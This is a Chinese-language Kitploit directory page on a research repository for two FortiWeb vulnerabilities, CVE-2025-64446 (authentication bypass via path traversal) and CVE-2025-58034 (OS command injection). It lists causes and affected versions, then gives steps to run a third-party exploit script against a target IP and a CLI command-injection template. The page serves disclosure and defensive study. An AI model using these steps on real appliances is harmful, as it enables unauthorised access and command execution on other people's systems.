Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
fortinet-fortiweb-cve-2025-64446-58034 — 针对 Fortinet FortiWeb 漏洞(CVE-2025-64446、CVE-2025-58034)的安全研究 | Kitploit
工具/GitHubGitHub/lequoca/fortinet-fortiweb-cve-2025-64446-58034
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHublequoca/fortinet-fortiweb-cve-2025-64446-58034

fortinet-fortiweb-cve-2025-64446-58034

针对 Fortinet FortiWeb 漏洞(CVE-2025-64446、CVE-2025-58034)的安全研究

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
38个月前尚未审核

了解 Fortinet FortiWeb 漏洞(CVE-2025-64446、CVE-2025-58034)

1. 概述

Fortinet FortiWeb 是一种 Web 应用防火墙(WAF)设备, 广泛部署于企业系统中,用于保护 Web 应用免受常见威胁。

由于 FortiWeb 通常位于核心防护层, 与身份验证或操作系统命令执行相关的漏洞 可能对后端的整个基础设施造成严重影响。 2025 年,FortiWeb 上公布了两项严重漏洞:

  • CVE-2025-64446 – 通过相对路径遍历绕过身份验证

  • CVE-2025-58034 – 已认证上下文中的操作系统命令注入

  • 2. CVE-2025-64446 概述

2.1 漏洞类型

  • 相对路径遍历
  • 身份验证绕过

2.2 漏洞成因

CVE-2025-64446 源于 FortiWeb 在应用身份验证机制之前,对访问路径的处理与检查不够严格。

具体来说:

  • 访问控制机制基于逻辑路径字符串
  • 未对路径进行完整的标准化(normalize)处理
  • 允许使用相对路径访问内部资源

这一缺陷导致某些管理端点 可能无需有效身份验证即可被访问。

2.3 安全危害

  • 完全绕过身份验证机制
  • 未经授权访问管理功能
  • 破坏安全设备的权限模型

2.4 受影响版本

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.4
  • FortiWeb 7.4.0 – 7.4.9
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

3. CVE-2025-58034 概述

3.1 漏洞类型

  • 操作系统命令注入(CWE-78)

3.2 漏洞成因

CVE-2025-58034 是由于 FortiWeb 在调用操作系统命令时,对用户输入数据处理不安全所致。

主要原因包括:

  • 输入参数未经过严格检查
  • 缺少过滤或转义特殊字符的机制
  • 用户数据被直接传递给系统命令

该漏洞需要已认证的上下文, 但由于涉及命令执行,仍然具有很高的风险级别。

3.3 安全危害

  • 意外执行操作系统命令
  • 访问和操作系统资源
  • 影响设备的完整性和可用性

3.4 受影响版本

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.5
  • FortiWeb 7.4.0 – 7.4.10
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

4. 利用方法(参考现有 PoC - CVE-2025-64446)

4.1 克隆仓库(将源代码下载到本地)

git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034

4.2 设置虚拟环境(venv)

Python 虚拟环境(venv)用于为每个项目创建独立的工作环境,将依赖库与系统主 Python 隔离。这有助于避免库版本冲突,确保工作环境的稳定性,并减少对系统的影响。

python3 -m venv venv source venv/bin/activate

4.3 安装依赖软件:

pip install -r requirements.txt

4.4 运行完整的利用流程

python exploit.py <target_ip> image image image

5. 使用 CLI 命令利用 CVE-2025-58034(在 FortiWeb 命令行界面认证后执行)

config user saml-user

edit "<YOUR COMMAND>"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

CVE-2025-58034 漏洞源于 FortiWeb 对某些配置字段中的输入数据缺乏严格管控,尤其是通过以下命令传入的值: edit "" 问题: 该值被作为配置字符串处理 随后被传入内部操作系统命令 未对特殊字符进行充分过滤或转义 这导致配置数据可能直接影响所执行的操作系统命令,从而引发操作系统命令注入漏洞。

下载工具